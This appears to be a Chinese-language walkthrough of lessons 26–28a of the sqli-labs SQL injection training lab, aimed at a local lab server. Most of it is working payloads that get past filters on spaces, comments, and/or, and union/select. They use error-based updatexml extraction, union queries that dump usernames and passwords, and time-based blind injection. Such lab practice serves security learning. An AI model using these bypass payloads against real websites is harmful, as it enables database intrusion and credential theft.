Less26-Less28a
Less-26:空格和and、or均被过滤
空格过滤比较严 ,常见的--,#,//,/**/都被过滤,包括常见的
%09 TAB键(水平)
%0a 新建一行
%0c 新的一页
%0d return功能
%0b TAB键(垂直)
测试只有%a0可以生效
?id=1 正常
?id=1’ --+显示错误 且没有--+
?id=1’ ;%00 正常 (看提示 即第二张图)
看源码 所有or and 注释符 空格 都被替换
?id=1’ oorr ‘1’=’1 正常登录,但是双写oorr这种形式太麻烦,可以用||替代
结果显示错误,看下面的信息知道,union select之间没有了空格
解决方式:
or可以用||替换
and可以用&& %26%26
注释符用;%00替代
空格用%a0替代
可以试一下:?id=1’ union select 1,2,3 ;%00
这关我们采用报错注入
- /?id=1‘ || updatexml(1, concat(0x7e, ( database() ) ),1) || ’1‘=‘1
使用这种方式可以得到我们的当前数据库
- /?id=1‘||updatexml(1,concat(0x7e,(select(group_concat(table_name))from(infoorrmation_schema.tables) where (table_schema = 0x7365637572697479) ) ),1) || ’1‘=‘1
取得表信息。
- /?id=1‘||updatexml(1,concat(0x7e,(select(group_concat(column_name))from(infoorrmation_schema.columns) where (table_name = 0x7573657273) ) ),1) || ’1‘=‘1
取得字段的值
- /?id=1‘ || updatexml(1, concat(0x7e, ( select (group_concat(concat_ws(0x7e,username,passwoorrd))) from (security.users) ) ),1) || ’1‘=‘1
取出字段的值,但是取出的值很少,不完整。
- /?id=1‘ || updatexml(1, concat(0x7e, ( select (group_concat(concat_ws(0x7e,username,passwoorrd))) from (security.users) where (id=2) ) ) ,1) || ’1‘=‘1
通过改变id的值可以遍历所有的数据。
使用union select 时要使用%a0来代替空格 注释符用;%00 或者 ||’1’=’1
Less-26a: id=('1')这样包裹 盲注
报错无法回显,但是可以用联合查询注入
?id=1 正常
?id=1’ 错误
看源码跟第26关一样
我们像第26关一样使用报错注入,结果不行,出来错误
看源码,知道这关是把错误信息不给咱们打印出来,所以这关我们不能使用报错注入
那我们使用union select将空格都用%a0替代进行操作就好了。(其他的都是一样的,我就不整了)
http://192.168.27.156/sqli-labs-master/sqli-labs-master/Less-26a/?id=1') %a0 union%a0 select%a0 1,2,(select %a0 group_concat( concat_ws( 0x7e,username,passwoorrd )) %a0from (%a0security.users)) ;%00
Less-27:过滤union,双重过滤select,过滤空格
1.尝试大小写混合写入
2.使用报错语句
3.基于时间的盲注
Id=1 正常
Id=1’出来错误
Id=1’ ;%00 正常
查看源码发现select union 注释符 空格 也都不能再用了
方法一:
既然union select 都是规矩的全是大写或者全是小写,那我们就尝试大小写混合写入
http://192.168.27.156/sqli-labs-master/sqli-labs-master/Less-27/?id=1' %a0 uNion %a0 sElect %a0 1, 2, 3 ;%00
http://192.168.27.156/sqli-labs-master/sqli-labs-master/Less-27/?id=111' %a0 uNion %a0 sElect %a0 1, 2,group_concat(schema_name) %a0 from %a0 information_schema.schemata ;%00
其他语句的跟之前一样
方法二:使用报错语句
http://192.168.27.156/sqli-labs-master/sqli-labs-master/Less-27/?id=1' %a0 || %a0 updatexml(1, concat(0x7e, ( database() ) ), 1) %a0 || '1'='1
其他的都跟第26关一样的,请参考我上面第26关的语句
方法三:使用基于时间的盲注 %26%26替代&& 表示and 意思
http://192.168.27.156/sqli-labs-master/sqli-labs-master/Less-27/?id=1' %26%26 if( length(database())>1, 1, sleep(5) ) %26%26 %0a '1'='1
注意:在句子后面不能使用or,因为使用or的情况下,无论如何情况返回都会是真。
http://192.168.27.156/sqli-labs-master/sqli-labs-master/Less-27/?id=1' %26%26 if( length(database())>1, 1, sleep(5) ) || %0a '1'='1
上面这种方式错误
Less-27a:使用””包裹 其他与第27关一致
Less-28:使用(’’)包裹 单引号、括号、注释符号、空格 union&select 被过滤
?id=1 正常
?id=1’) --+出现错误
?id=1’) ;%00 正常
查看源码 无法使用union select联合查询 空格 注释符也都被过滤
可以采用%a0代替空格的方式进行查询
http://192.168.27.156/sqli-labs-master/sqli-labs-master/Less-28/?id=1') %a0order %a0by%a0 3;%00
http://192.168.27.156/sqli-labs-master/sqli-labs-master/Less-28/?id=123456') %a0 union %a0 select %a0 1,2,3 ;%00 得回显位置
http://192.168.27.156/sqli-labs-master/sqli-labs-master/Less-28/?id=123456') %a0 union %a0 select %a0 1,2,group_concat(1,database(),1) ;%00 得数据库
http://192.168.27.156/sqli-labs-master/sqli-labs-master/Less-28/?id=123456') %a0 union %a0 select %a0 1,2,group_concat(schema_name) %a0 from %a0 information_schema.schemata ;%00
其他查询都跟之前的一样,请参照我之前所做的
看源码,人家不输出错误,所以我们不能无法使用报错注入,那么时间盲注也是可行的
时间盲注:
http://192.168.27.156/sqli-labs-master/sqli-labs-master/Less-28/?id=1') %a0 %26%26 if( length(database())>8, 1, sleep(5)) ;%00
http://192.168.27.156/sqli-labs-master/sqli-labs-master/Less-28/?id=1') %a0 %26%26 if( length(database())>, 1, sleep(5)) ;%00
将注释符换成||(’1’)=(‘1 也是可以的
http://192.168.27.156/sqli-labs-master/sqli-labs-master/Less-28/?id=1') %a0 %26%26 if( length(database())>1, 1, sleep(5)) ||('1')=('1
Less-28a:使用(‘’)包裹
源码
这关不像28关那样过滤了空格注释符 其他的语句跟第28关一样